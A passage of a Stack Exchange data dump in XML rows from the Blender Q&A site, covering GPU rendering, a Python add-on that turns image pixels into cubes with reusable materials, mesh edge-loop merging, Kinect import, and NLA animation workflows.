bpy.types.INFO_MT_file_import.append(menu_func_import)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    bpy.types.INFO_MT_file_import.remove(menu_func_import)&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="175" LastEditorUserId="31447" LastEditDate="2021-01-10T20:36:03.180" LastActivityDate="2021-01-10T20:36:03.180" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="14779" PostTypeId="1" AcceptedAnswerId="14781" CreationDate="2014-08-06T17:42:37.623" Score="7" ViewCount="1653" Body="&lt;p&gt;I chose my nvidia graphics card under computing device in user settings and saved the settings but when I render and check my task manager almost all my cpu is being used by blender. What is going on?&lt;/p&gt;&#xA;" OwnerUserId="5344" LastEditorUserId="2217" LastEditDate="2014-08-07T00:39:13.893" LastActivityDate="2014-08-07T00:39:13.893" Title="GPU Rendering but it appears CPU is being used" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14781" PostTypeId="2" ParentId="14779" CreationDate="2014-08-06T18:09:09.923" Score="5" Body="&lt;p&gt;You need to enable GPU rendering in the properties panel. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/KXCmmm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, make sure you're using cycles, &lt;strong&gt;not&lt;/strong&gt; blender internal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mx9ae.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-06T18:09:09.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14782" PostTypeId="1" AcceptedAnswerId="14797" CreationDate="2014-08-06T19:43:08.370" Score="2" ViewCount="1506" Body="&lt;p&gt;I have created a script to generate a grid of cubes based on an image. So if I input a 32x32 image, I get 1024 cubes as expected.  It also assigns a material to each cube based on the pixel.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, having a new material for each cube is not good, especially when my image is an image of Mega Man and only has 5 different colors in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how do I find out whether an identical material exists so I can avoid duplicate materials.  I have been searching for a long time and I can't find a way to do it.  By the way, I want to do this in Cycles.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Pixel Maker&quot;,&#xA;    &quot;author&quot;: &quot;Nathan Craddock&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 71, 0),&#xA;    &quot;location&quot;: &quot;In object mode on the tools tab of the tool shelf.&quot;,&#xA;    &quot;description&quot;: &quot;Takes an image and converts each pixel to a cube.  If the pixel is transparent, no cube is created.&quot;,&#xA;    &quot;warning&quot;: &quot;Work in progress&quot;,&#xA;    &quot;category&quot;: &quot;Object&quot;&#xA;}&#xA;&#xA;import bpy&#xA;&#xA;class pixelMakerPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Pixel Maker Panel&quot;&quot;&quot;&#xA;    bl_label = &quot;Pixel Maker&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;    bl_category = &quot;Tools&quot;&#xA;    tex_type = 'IMAGE'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        row = layout.row()&#xA;        row.prop(context.scene, &quot;pixel_file_import&quot;)&#xA;&#xA;        row = layout.row()&#xA;        row.prop(context.scene, &quot;pixel_join_cubes&quot;)&#xA;&#xA;        row = layout.row()&#xA;        row.scale_y = 2.0&#xA;        row.operator(&quot;object.make_pixel&quot;)&#xA;&#xA;class pixelMaker(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Run the Pixel Maker Addon&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.make_pixel&quot;&#xA;    bl_label = &quot;Run Pixel Maker&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        importedImage = context.scene.pixel_file_import&#xA;        joinCubes = context.scene.pixel_join_cubes&#xA;&#xA;        def setup(img):&#xA;            bpy.ops.wm.console_toggle()&#xA;            print(&quot;Creating&quot;, img)&#xA;            iteration = 0&#xA;&#xA;            image = bpy.data.images[img]&#xA;            width = image.size[0]&#xA;            height = image.size[1]&#xA;            numberPix = len(image.pixels)&#xA;&#xA;            for y in range(0, height):&#xA;                for x in range(0, width):&#xA;                    currentCube = (y * width) + x&#xA;                    color = []&#xA;                    for colorRGBA in range(0, 4):&#xA;                        RGBA = (currentCube * 4) + colorRGBA&#xA;                        color.append(image.pixels[RGBA])&#xA;                    drawCube(x * 2, y * 2, color)&#xA;                    iteration += 1&#xA;&#xA;                print(round((iteration / (width * height)) * 100), &quot;% completion&quot;)&#xA;&#xA;            if joinCubes:&#xA;                bpy.ops.object.select_all(action='TOGGLE')    &#xA;                bpy.ops.object.select_all(action='TOGGLE')&#xA;                bpy.ops.object.join()&#xA;                bpy.ops.object.editmode_toggle()&#xA;                bpy.ops.mesh.remove_doubles()&#xA;                bpy.ops.object.editmode_toggle()&#xA;                bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY')&#xA;                bpy.context.object.name = &quot;PixelMakerObject&quot;&#xA;            else:&#xA;                bpy.ops.object.select_all(action='TOGGLE')    &#xA;                bpy.ops.object.select_all(action='TOGGLE')&#xA;&#xA;            bpy.ops.wm.console_toggle()&#xA;&#xA;        def drawCube(x, y, col):&#xA;            a = col[3]&#xA;            # Checks to see whether or not the pixel is transparent. If not, then it creates a material and creates the cube.&#xA;            if a != 0:&#xA;                material = makeMaterial(col)            &#xA;                bpy.ops.mesh.primitive_cube_add(location=(x - 1, y - 1, 1))&#xA;                newObject = bpy.context.active_object&#xA;                newObject.data.materials.append(material)&#xA;&#xA;        def makeMaterial(color):&#xA;            alpha = 1.0&#xA;            red, green, blue, alpha = color&#xA;            colorName = &quot;material&quot;&#xA;&#xA;            color = bpy.data.materials.new(colorName)&#xA;            color.use_nodes = True&#xA;            Diffuse_BSDF = color.node_tree.nodes['Diffuse BSDF']&#xA;            Diffuse_BSDF.inputs[0].default_value = [red, green, blue, alpha]&#xA;            color.diffuse_color = [red, green, blue]&#xA;            return color&#xA;&#xA;        setup(importedImage)&#xA;&#xA;        return {'FINISHED'}    &#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.pixel_file_import = bpy.props.StringProperty(name=&quot;Image&quot;, description=&quot;Name of the image to use in the Pixel Maker add on&quot;, default=&quot;image.png&quot;)&#xA;    bpy.types.Scene.pixel_join_cubes = bpy.props.BoolProperty(name=&quot;Join Cubes&quot;, description=&quot;Join the cubes?&quot;, default = True)&#xA;    bpy.types.Scene.pixel_depth = bpy.props.IntProperty(name=&quot;Depth&quot;, description=&quot;Number of layers&quot;, default = 1)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.file_import_pixel&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5505" LastEditorUserId="5505" LastEditDate="2014-08-06T23:19:29.140" LastActivityDate="2014-08-07T09:24:05.490" Title="Access Material Color" Tags="&lt;python&gt;&lt;scripting&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14783" PostTypeId="2" ParentId="14774" CreationDate="2014-08-06T19:51:56.810" Score="27" Body="&lt;p&gt;If you have a really simple case where both loops are the same size and have the same number of edges, aligned on a common axis, like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VZc0i.png&quot; alt=&quot;cherry case&quot;&gt;&#xA;then you can use the scale function to close the gap to zero.  &lt;p&gt;&#xA;In the case of the situation shown:&lt;p&gt;&#xA;Start by selecting your edge loops (ALT+Right Click on a loop edge)&lt;p&gt;&#xA;Set your pivot center to Median Point&lt;img src=&quot;https://i.stack.imgur.com/8Z042.png&quot; alt=&quot;median point&quot;&gt;&lt;p&gt;&#xA;Enter &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; and &quot;0&quot;&lt;p&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/K1f1m.png&quot; alt=&quot;after scaling&quot;&gt;&#xA;and pull up the Vertices menu &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; and do 'remove doubles.'  This will give you a single mesh with a loop at the equator of the two merged edge loops&lt;p&gt;&#xA;&lt;p&gt;-but I suspect you're looking for a procedure for less than optimzed conditions.  Something like this:&lt;p&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fbsWv.png&quot; alt=&quot;less than optimal conditions&quot;&gt;&#xA;In this case, the only constraint you really need to be sure of is that you have the same number of vertices in both loops.&lt;p&gt;&#xA;Assuming you want to merge the two loops at their interpolated center:&lt;p&gt;&#xA;Connect the two loops using an edge bridge&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bPbiF.png&quot; alt=&quot;brige_edges&quot;&gt;&#xA;&lt;p&gt;I know you really didn't want to hear, &quot;bridge edge loops&quot;, but bear with me-you will get the results you've described&lt;p&gt;&#xA;Add a loop cut (&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;) to the bridge.  The loop will be created at the equator of the bridge (right-click to exit) loop cut.&lt;p&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1ZhF1.png&quot; alt=&quot;loop cut&quot;&gt;&lt;p&gt;&#xA;Next, select the loops on either end of the bridge and from the delete menu (&lt;kbd&gt;x&lt;/kbd&gt; ,) select &quot;Edge Loops&quot;:&lt;img src=&quot;https://i.stack.imgur.com/S2wGx.png&quot; alt=&quot;edge loops&quot;&gt;&lt;p&gt;&#xA;The result will be that the open edges are merged at the loop cut.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ADxHf.png&quot; alt=&quot;interpolated result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-08-06T19:51:56.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14786" PostTypeId="1" CreationDate="2014-08-06T21:14:10.167" Score="3" ViewCount="2411" Body="&lt;p&gt;I'd like to achieve a split and cracked wood grain effect on a mesh such as in this reference image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7YYC5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do something like this in Blender through a particular tool / modifiers?&lt;/p&gt;&#xA;" OwnerUserId="5506" LastEditorUserId="5705" LastEditDate="2014-12-17T16:46:48.570" LastActivityDate="2014-12-17T16:46:48.570" Title="Achieving a split/cracked wood grain effect?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14787" PostTypeId="2" ParentId="14786" CreationDate="2014-08-06T22:27:17.503" Score="2" Body="&lt;p&gt;There are a few ways that this can be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You could use sculpt mode to define the texture for a sculpting brush that resembles the wood patterns that you want.  Assuming default settings for version 2.7, go to the bottom panel that says &quot;object mode&quot; and click &quot;sculpt mode&quot;.  In sculpt mode, expand the &quot;Texture&quot; tab on the left pane by clicking it and click the &quot;New&quot; button.  The texture will appear as a type of noise.  In the properties tab on the right, click the texture icon to get to the texture tab.  Under the texture tab, click the material icon.  You should see your brush texture.  Change the texture source from &quot;Clouds&quot; to &quot;Image or Movie&quot;.  Load the image of your choice to act as a wood texture and you may begin using the brush to sculpt the mesh (if it has enough vertices).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Alternatively, you could use a displacement map to simulate some wood effects.  With your mesh selected, locate the object texture (go to the properties tab on the right and click the texture icon).  If the object has no textures, make a new one.  Change the texture source to &quot;Image or Movie&quot; and load the image you want to act as a displacement map (for these kinds of maps, the value channel is used to determine amount of displacement and so black pixels have no effect, white pixels have full effect, and everything between is interpolated).  Under the &quot;influence&quot; tab, check the &quot;normal&quot; and &quot;displace&quot; buttons and un-check the &quot;color&quot; button (unless the texture defines the color as well).  You may want to reduce the amount of displacement and tinker with it until you're satisfied.&lt;/p&gt;&#xA;" OwnerUserId="1038" LastEditorUserId="1038" LastEditDate="2014-08-09T22:17:20.253" LastActivityDate="2014-08-09T22:17:20.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14788" PostTypeId="1" CreationDate="2014-08-06T22:37:20.630" Score="-1" ViewCount="178" Body="&lt;p&gt;I don't know if you are familiar with &lt;a href=&quot;http://research.microsoft.com/apps/video/default.aspx?id=177016&quot; rel=&quot;nofollow&quot;&gt;KinEtre&lt;/a&gt;, software from Microsoft, but, if you are, you know that the software only allows you to work with human-like skeletons and if you have more complex armatures, like a robot, let's say, whose wheels you want to rotate, you won't be able to in KinEtre. So, do you think I can import data from KinEtre into Blender and break it apart to create an animation from it? When I say break it apart, I mean like if I am scanning a car, I would need to separate the car's wheels, so I can rotate them separately. Is this possible? &lt;/p&gt;&#xA;" OwnerUserId="5508" LastEditorUserId="3078" LastEditDate="2014-08-07T12:41:35.730" LastActivityDate="2014-08-07T12:41:35.730" Title="Can KinEtre models work with Blender?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;bones&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14791" PostTypeId="2" ParentId="14788" CreationDate="2014-08-07T01:08:22.210" Score="1" Body="&lt;p&gt;I have no idea what software you are talking about, but as long as you can export your object in a format that blender can read, you should be able to rework it and animate it.&#xA;For a list of supported formats see: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Files/Import&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Files/Import&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-08-07T01:08:22.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14792" PostTypeId="2" ParentId="7633" CreationDate="2014-08-07T01:09:47.227" Score="4" Body="&lt;p&gt;There is an add on called Molecular.  &lt;a href=&quot;http://pyroevil.com/molecular-script-download/&quot; rel=&quot;nofollow&quot;&gt;http://pyroevil.com/molecular-script-download/&lt;/a&gt;.  It makes the particles act as rigid bodies.  The particles can be linked to each other as well.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a little teaser trailer the creator made: &lt;a href=&quot;https://www.youtube.com/watch?v=_5QkPnPDcfc&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=_5QkPnPDcfc&lt;/a&gt;.  I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="5505" LastActivityDate="2014-08-07T01:09:47.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14793" PostTypeId="1" CreationDate="2014-08-07T02:48:50.590" Score="1" ViewCount="776" Body="&lt;p&gt;I have a model that appears to have fake depth, where objects in the geometry are smaller rather than further away. That said, the model looks fine in orthographic view (if you position the camera correctly) and appears there as it actually should appear in perspective view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k6Py3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In perspective view, of course, the objects that are &quot;further&quot; away are smaller than they are supposed to be when you get close to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I transform the vertices of my mesh to appear in Perspective view, as it does in Orthographic view? As far as I know, it would involve:&#xA;1) translating each vert along the x and z world planes as they appear on the perspective screen coordinates to line up with the same vert on the orthographic screen coordinates.&#xA;2) scaling the mesh along the world y, eyeballing it until everything starts to look correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first step is where I find myself rather stuck. Anyone got a way to tackle it?&lt;/p&gt;&#xA;" OwnerUserId="5510" LastActivityDate="2015-01-21T18:28:08.497" Title="How could I transform the vertices of my mesh to appear in Perspective view, as it does in Orthographic view?" Tags="&lt;mesh&gt;&lt;3d-view&gt;&lt;geometry&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14794" PostTypeId="2" ParentId="14788" CreationDate="2014-08-07T07:28:42.670" Score="1" Body="&lt;p&gt;Yes it is possible. Once you import the model into blender you can edit it just the same as if you created the model in blender to start with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can select any part of the mesh while in edit mode and press &lt;kbd&gt;P&lt;/kbd&gt; and choose Selection to turn the selected part into a separate object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to use an armature and have a bone move just the vertices for the wheel, even though they are all part of the same object. This is like animating a human figure, you can move a single finger even though the entire body is one object.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-07T07:28:42.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14795" PostTypeId="2" ParentId="14765" CreationDate="2014-08-07T07:52:39.953" Score="0" Body="&lt;p&gt;Blender has a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Console&quot; rel=&quot;nofollow noreferrer&quot;&gt;python console&lt;/a&gt; built-in, you can change any section of the blender layout to a console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lcp51.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also find an &lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?312821-Run-Script-in-PyConsole-%28Menu%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;addon here&lt;/a&gt; that lets you execute a text block in the python console.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-07T07:52:39.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14796" PostTypeId="2" ParentId="14788" CreationDate="2014-08-07T08:44:17.203" Score="1" Body="&lt;p&gt;I don't know KinEntre, but I've used &lt;a href=&quot;http://brekel.com/kinect-3d-scanner/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Brekel Kinect (free)&lt;/a&gt; to export &lt;a href=&quot;http://en.wikipedia.org/wiki/Biovision_Hierarchy&quot; rel=&quot;nofollow noreferrer&quot;&gt;BVH&lt;/a&gt; files recorded from a Kinect. The BVH files hold the motion capture data and can be imported into Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that you have enabled the addon in the &lt;em&gt;User Preferences&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wW8uY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the free version of Brekel requires installation of OpenNI which doesn't work with an installed Kinect SDK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scanning a car in order to animate it wouldn't work well from my experience.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-08-07T08:44:17.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14797" PostTypeId="2" ParentId="14782" CreationDate="2014-08-07T09:24:05.490" Score="2" Body="&lt;p&gt;I modified your script, added a map and reused already created materials:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class pixelMaker(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Run the Pixel Maker Addon&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.make_pixel&quot;&#xA;    bl_label = &quot;Run Pixel Maker&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;    mat_map = dict() # &amp;lt;---- map&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def makeMaterial(color):&#xA;    key = repr(color)&#xA;    if key in self.mat_map:&#xA;        return self.mat_map[key]&#xA;&#xA;    alpha = 1.0&#xA;    red, green, blue, alpha = color&#xA;    colorName = &quot;material&quot;&#xA;&#xA;    material = bpy.data.materials.new(colorName)&#xA;    material.use_nodes = True&#xA;    Diffuse_BSDF = material.node_tree.nodes['Diffuse BSDF']&#xA;    Diffuse_BSDF.inputs[0].default_value = [red, green, blue, alpha]&#xA;    material.diffuse_color = [red, green, blue]&#xA;    self.mat_map[ key ]=material&#xA;    return material&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-08-07T09:24:05.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14798" PostTypeId="2" ParentId="14777" CreationDate="2014-08-07T10:47:34.407" Score="1" Body="&lt;p&gt;You could try uncommenting the is_on line and add something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpylamp.hide = not is_on&#xA;bpylamp.hide_render = not is_on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another option could be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if is_on:&#xA;    bpylamp.energy = intensity&#xA;else:&#xA;    bpylamp.energy = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The X3D/VRML2 import script was written by Campbell and Bart so you might want to contact them and ask what they planned to do with the lights and whether they want some help. It's possible they left it like that because there is no on/off light switch in blender (maybe adding one is a TODO somewhere).&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-07T10:47:34.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14800" PostTypeId="1" CreationDate="2014-08-07T13:01:55.063" Score="1" ViewCount="3124" Body="&lt;p&gt;Whenever I try to render my blender animation, I get this weird sequence render and uses an older version of my animation, and just creates junk files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using JPEG format, rendering into a new folder. I have tried restarting blender, saving then reopening the file, but this didn't fix it. Please help, I need to get this animation rendered so I can make sure everything looks OK from an animated rendered view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/4w6t0pe40ovgkge/chroma%20crystal.blend&quot; rel=&quot;nofollow&quot;&gt;Here is  the blend file.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5513" LastEditorUserId="241" LastEditDate="2014-08-07T15:08:58.653" LastActivityDate="2014-08-07T15:14:29.283" Title="Why is my image sequence render using an old version of my animation?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-08-07T21:03:52.243" ContentLicense="CC BY-SA 3.0" />
  <row Id="14801" PostTypeId="2" ParentId="14800" CreationDate="2014-08-07T15:14:29.283" Score="2" Body="&lt;p&gt;I think reason you are seeing an old version of your animation is because you have an image loaded into the Video Sequence Editor (VSE), which is overriding the render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either remove the image strip with &lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;em&gt;Erase Strips&lt;/em&gt; from the VSE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/icZ42.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, un-check 'Sequencer' in the 'Post Processing' panel in the 'Render' tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yzykh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-08-07T15:14:29.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14802" PostTypeId="1" CreationDate="2014-08-07T16:53:51.227" Score="0" ViewCount="2333" Body="&lt;p&gt;Each time I hit 'I' to insert a keyframe in the Action Editor, if the previous keyframe on that channel is linked, the new one will be linked too (with a thick horizontal line). I can't find a way on the menu to disable or get rid of that #$%@^ link which affects the next and previous keyframes in an undesirable way. I'm sure there must be a way (although very well hidden). So what is the magic spell for this purpose? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LUI3K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the position on the upper channel shown at the current frame, all previous (linked) frames on that channel take that new position -I don't want that. In the lower channel though, if I change the value no horizontal line appears. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;I uploaded this Blender screencast for proof of this unjustified behavior - and for a clearer explanation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=pCs95EJDkZ8&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=pCs95EJDkZ8&amp;amp;feature=youtu.be&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5515" LastEditorUserId="5515" LastEditDate="2014-08-08T00:42:03.590" LastActivityDate="2016-04-22T19:57:01.707" Title="How can I get rid of the link (thick horizontal line) between two keyframes?" Tags="&lt;animation&gt;&lt;linked-data&gt;&lt;keyframes&gt;&lt;dopesheet&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14803" PostTypeId="2" ParentId="14802" CreationDate="2014-08-07T17:59:00.420" Score="2" Body="&lt;p&gt;Bit hard to tell what you mean without a picture. And I'm also not sure what you mean by 'linked keyframe'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a line between two keyframes is just to show that the two keyframes are the same value and so anywhere between those keyframes is also one continuous value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know there is no way to turn this off.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-08-07T17:59:00.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14804" PostTypeId="2" ParentId="14734" CreationDate="2014-08-07T18:25:34.060" Score="3" Body="&lt;p&gt;I assume you're going to be using NLAs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I've been unable to find a good explanation of blender's NLAs, I've decided to write a bad one and hope that feedback lets me improve it over time:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.google.com/document/d/1WrrdFpZ-VC7taxu4iD3hZIowYvyM953iZpBwkZ78PgA&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/document/d/1WrrdFpZ-VC7taxu4iD3hZIowYvyM953iZpBwkZ78PgA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will include a (soon-to-be-outdated) copy of the &quot;splitting actions&quot; section here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is probably the most difficult of the workflows.  When you are&#xA;  starting out with NLAs and haven't become comfortable creating small&#xA;  reusable chunks you will often realize &quot;I wish I had split this up&#xA;  before now.&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The essence of splitting is to create a copy and delete part from&#xA;  each.  Let's refer to those two parts as A and B.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Imagine your action is currently the primary action.  Use the Dope&#xA;  Sheet/Action Editor to give it a &quot;good&quot; name (maybe &quot;AplusB&quot;).  Then&#xA;  use the double-down-chevron to move it into an action strip.  Create a&#xA;  new track and create a new action strip in that new track that refers&#xA;  to the same action.   You now have two action strips referring to the&#xA;  same action datablock.  Go ahead and create a third action strip&#xA;  referring to the same action datablock as a sort of information bunker&#xA;  in case you make a mistake later on.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Make one of the strips active and hit the Tab key to start editing it.&#xA;  Use the Dope Sheet/Action Editor to make a single-user copy of the&#xA;  action (click the [3] button).  Now give it a name that identifies&#xA;  which half of the action it will become (maybe &quot;part B&quot;).  After that,&#xA;  you can delete all the keyframes that don't belong in the action&#xA;  (delete the A, leave the B).    Memorize the name of the new action.  Hit Tab to stop editing that action strip.  Now change the Action of the action strip  to refer to the new action.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Make the other strip active and hit the Tab key to start editing it. &#xA;  Use the Dope Sheet/Action Editor to make another single-user copy copy&#xA;  of the datablock (click the [2] button).  You can rename it (maybe&#xA;  &quot;part A&quot;).  You can now use the Graph Editor to remove all the B&#xA;  keyframes and leave the A keyframes.  Don't forget to point the strip at the new action.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Before you test the animation you should discard the 3rd (information&#xA;  bunker) action strip but not before you click the [f] button to force&#xA;  blender to not garbage-collect the AplusB action.  That way you can&#xA;  still recover it later if you find problems with the animation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2014-10-11T16:14:49.230" LastActivityDate="2014-10-11T16:14:49.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
